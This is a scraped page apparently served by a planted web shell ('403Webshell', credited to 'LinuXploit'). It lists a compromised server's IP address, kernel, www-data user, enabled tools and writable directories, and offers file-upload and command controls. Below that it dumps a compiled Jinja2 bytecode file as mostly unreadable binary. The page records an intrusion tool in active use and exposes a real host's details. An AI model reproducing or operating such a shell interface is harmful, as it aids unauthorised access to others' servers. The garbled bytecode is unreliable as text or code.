403Webshell
Server IP : 178.105.222.151  /  Your IP : 216.73.216.38
Web Server : nginx/1.28.3
System : Linux MNK 7.0.0-15-generic #15-Ubuntu SMP PREEMPT_DYNAMIC Wed Apr 22 16:06:43 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.5.4
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/jinja2/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/jinja2/__pycache__/visitor.cpython-314.pyc
+
��i�
���Rt^RIt^RIHt]P
'd^RIt!RR]P4t	!RR4t
!RR]
4tR#)	zVAPI for traversing the AST nodes. Implemented by the compiler and
meta introspection.
N��Nodec�2a�]tRt^toV3RlRltRtVtR#)�
VisitCallablec�n<�V^8�dQhRS[RS[PRS[PRS[P/#���node�args�kwargs�return�r�t�Any)�format�
__classdict__s"��0/usr/lib/python3/dist-packages/jinja2/visitor.py�__annotate__�VisitCallable.__annotate__
s)���S�S��S�a�e�e�S�q�u�u�S����S�c��R#)N�)�selfr	r
rs&&*,r�__call__�VisitCallable.__call__
s��PSrrN)�__name__�
__module__�__qualname__�__firstlineno__r�__static_attributes__�__classdictcell__�rs@rrrs����S�Srrc�Za�]tRt^toRtV3RlRltV3RlRltV3RlRltRtVt	R	#)
�NodeVisitora�Walks the abstract syntax tree and call visitor functions for every
node found.  The visitor functions may return values which will be
forwarded by the `visit` method.

Per default the visitor functions for the nodes are ``'visit_'`` +
class name of the node.  So a `TryFinally` node visit function would
be `visit_TryFinally`.  This behavior can be changed by overriding
the `get_visitor` function.  If no visitor function exists for a node
(return value `None`) the `generic_visit` visitor is used instead.
c�$<�V^8�dQhRS[RR/#)rr	rzt.Optional[VisitCallable]r)rrs"�rr�NodeVisitor.__annotate__s ���C�C��C�)D�Crc�H�\VR\V4P2R4#)z�Return the visitor function for this node or `None` if no visitor
exists for this node.  In that case the generic visit function is
used instead.
�visit_N)�getattr�typer)rr	s&&r�get_visitor�NodeVisitor.get_visitors%��
�t�v�d�4�j�&9�&9�%:�;�T�B�Brc�n<�V^8�dQhRS[RS[PRS[PRS[P/#rr
)rrs"�rrr%#s5���9�9�$�9�q�u�u�9����9�!�%�%�9rc�p�VPV4pVe
V!V.VO5/VB#VP!V.VO5/VB#)z
Visit a node.)r*�
generic_visit)rr	r
r�fs&&*, r�visit�NodeVisitor.visit#sG�����T�"���=��T�+�D�+�F�+�+��!�!�$�8��8��8�8rc�n<�V^8�dQhRS[RS[PRS[PRS[P/#rr
)rrs"�rrr%,s5���4�4�$�4�q�u�u�4����4�!�%�%�4rc�`�VP4FpVP!V.VO5/VBK	R#)z9Called if no explicit visitor function exists for a node.N)�iter_child_nodesr0)rr	r
r�
child_nodes&&*, rr.�NodeVisitor.generic_visit,s+���/�/�1�J��J�J�z�3�D�3�F�3�2rrN)
rrrr�__doc__r*r0r.rr r!s@rr#r#s*����	�C�C�9�9�4�4rr#c�Ha�]tRt^2toRtV3RlRltV3RlRltRtVtR#)�NodeTransformera�Walks the abstract syntax tree and allows modifications of nodes.

The `NodeTransformer` will walk the AST and use the return value of the
visitor functions to replace or remove the old node.  If the return
value of the visitor function is `None` the node will be removed
from the previous location otherwise it's replaced with the return
value.  The return value may be the original node in which case no
replacement takes place.
c�Z<�V^8�dQhRS[RS[PRS[PRS[/#rr
)rrs"�rr�NodeTransformer.__annotate__=s1�����$��q�u�u������$�rc���VP4F�wrE\V\4'd~.pVFop\V\4'dFVP!V.VO5/VBpVfK5\V\4'gVPV4K^VP
V4Kq	WeR&K�\V\4'gK�VP!V.VO5/VBpVf\W4K�\WV4K�	V#)N:NNN)	�iter_fields�
isinstance�listrr0�extend�append�delattr�setattr)	rr	r
r�field�	old_value�
new_values�value�new_nodes	&&*,     rr.�NodeTransformer.generic_visit=s��� $� 0� 0� 2��E��)�T�*�*��
�&�E�!�%��.�.� $�
�
�5� B�4� B�6� B�� �=�$�!+�E�4�!8�!8�&�-�-�e�4�$��%�%�e�,�'� *�!���I�t�,�,��:�:�i�A�$�A�&�A���#��D�(��D��2�%!3�&�rc	�~<�V^8�dQhRS[RS[PRS[PRS[PS[,/#r)rrr�List)rrs"�rrr;Ss9���	�	�t�	�A�E�E�	�Q�U�U�	�q�v�v�d�|�	rc�d�VP!V.VO5/VBp\V\4'gV.#V#)zkAs transformers may return lists in some places this method
can be used to enforce a list as return value.
)r0r>r?)rr	r
r�rvs&&*, r�
visit_list�NodeTransformer.visit_listSs5���Z�Z��
.�t�
.�v�
.���"�d�#�#��4�K��	rrN)	rrrrr7r.rNrr r!s@rr9r92s�������,	�	rr9)r7�typingr�nodesr�
TYPE_CHECKING�typing_extensions�te�Protocolrr#r9rrr�<module>rVsG������?�?�?�"�T����T�4�4�D*�k�*r

Youez - 2016 - github.com/yon3zu
LinuXploit